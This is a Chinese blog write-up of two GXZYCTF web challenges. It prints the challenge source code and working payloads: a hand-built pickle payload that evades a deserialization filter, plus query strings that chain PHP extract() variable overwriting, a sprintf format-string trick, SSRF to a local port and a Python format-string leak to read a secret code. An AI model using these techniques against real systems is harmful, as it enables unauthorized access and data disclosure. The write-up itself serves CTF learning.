php x00x00x00x00x00x00rxdf,GXZYCTF部分Web Writeup

本文详细解析了GXZYCTF中涉及的Web安全挑战,包括PHP反序列化漏洞利用、SSRF、SQL注入等。通过分析源码和构造payload,逐一突破了各种安全防护,展示了Web安全攻防技巧。同时,介绍了如何利用Rogue-MySql-Server进行命令执行,并探讨了文件上传漏洞和反序列化漏洞的利用方式。
摘要由CSDN通过智能技术生成

很长一段时间没有接触了,都沉迷于课程学习不能自拔(被迫的),果然2020年对题目都失去了感觉,不仅如此,刚打开就想x了......,简单先整理一下做出来的题。之后文章主要发在个人博客:Cyc1e's Blog

0x00 Webtmp

题目源码

import base64

import io

import sys

import pickle

from flask import Flask, Response, render_template, request

import secret

app = Flask(__name__)

class Animal:

def __init__(self, name, category):

self.name = name

self.category = category

def __repr__(self):

return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):

return type(other) is Animal and self.name == other.name and self.category == other.category

class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):

if module == '__main__':

return getattr(sys.modules['__main__'], name)

raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):

return RestrictedUnpickler(io.BytesIO(s)).load()

def read(filename, encoding='utf-8'):

with open(filename, 'r', encoding=encoding) as fin:

return fin.read()

@app.route('/', methods=['GET', 'POST'])

def index():

if request.args.get('source'):

return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':

try:

pickle_data = request.form.get('data')

if b'R' in base64.b64decode(pickle_data):

return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'

else:

result = restricted_loads(base64.b64decode(pickle_data))

if type(result) is not Animal:

return 'Are you sure that is an animal???'

correct = (result == Animal(secret.name, secret.category))

return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)

except Exception as e:

print(repr(e))

return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')

pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()

return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)

if __name__ == '__main__':

app.run(host='0.0.0.0', port=5000)

很明显一道python反序列化的题,不过if b'R' in base64.b64decode(pickle_data)断了直接反弹shell和调用render_template函数的操作,所以说就是只能给secret.name、secret.category变量赋值,要求type为Animal,同时secret又要重main启动,所以需要重写一下secret类。参考https://blog.init-new-world.com/post/hitctf-train.html(也就是原题)

8781875b91dd

# -*- coding: utf-8 -*-

# @Author: Cyc1e

# @Date: 2020-03-07 14:51:06

# @Last Modified by: Cyc1e

import pickle

import base64

payload = b"\x80\x03c__main__\nsecret\n}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub0c__main__\nAnimal\n)\x81}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub."

print(base64.b64encode(payload).decode())

0x01 fmkq

访问直接给了题目源码

error_reporting(0);

if(isset($_GET['head'])&&isset($_GET['url'])){

$begin = "The number you want: ";

extract($_GET);

if($head == ''){

die('Where is your head?');

}

if(preg_match('/[A-Za-z0-9]/i',$head)){

die('Head can\'t be like this!');

}

if(preg_match('/log/i',$url)){

die('No No No');

}

if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){

die('Don\'t use strange protocol!');

}

$funcname = $head.'curl_init';

$ch = $funcname();

if($ch){

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$output = curl_exec($ch);

curl_close($ch);

}

else{

$output = 'rua';

}

echo sprintf($begin.'%d',$output);

}

else{

show_source(__FILE__);

}

关键就是触发curl了,参考https://www.php.net/manual/zh/function.sprintf 通过extract进行变量覆盖,覆盖begin为begin=%1$s,则sprintf($begin.'%d',$output);处就可以输出,例如构造

?head=\&begin=%1$s&url=www.baidu.com

则可以返回baidu的内容,所以显然用来SSRF最合适不过,发现127.0.0.1还开了8080端口,所以构造

?head=\&begin=%1$s&url=http://127.0.0.1:8080

8781875b91dd

也就是需要我们拿到vipcode,一通测试,python的格式化字符串问题,构造

?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__init__.__globals__[vip].__init__.__globals__}%26vipcode=xxx

可以读取到vipcode

8781875b91dd

带上vipcode就可以为所欲为了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值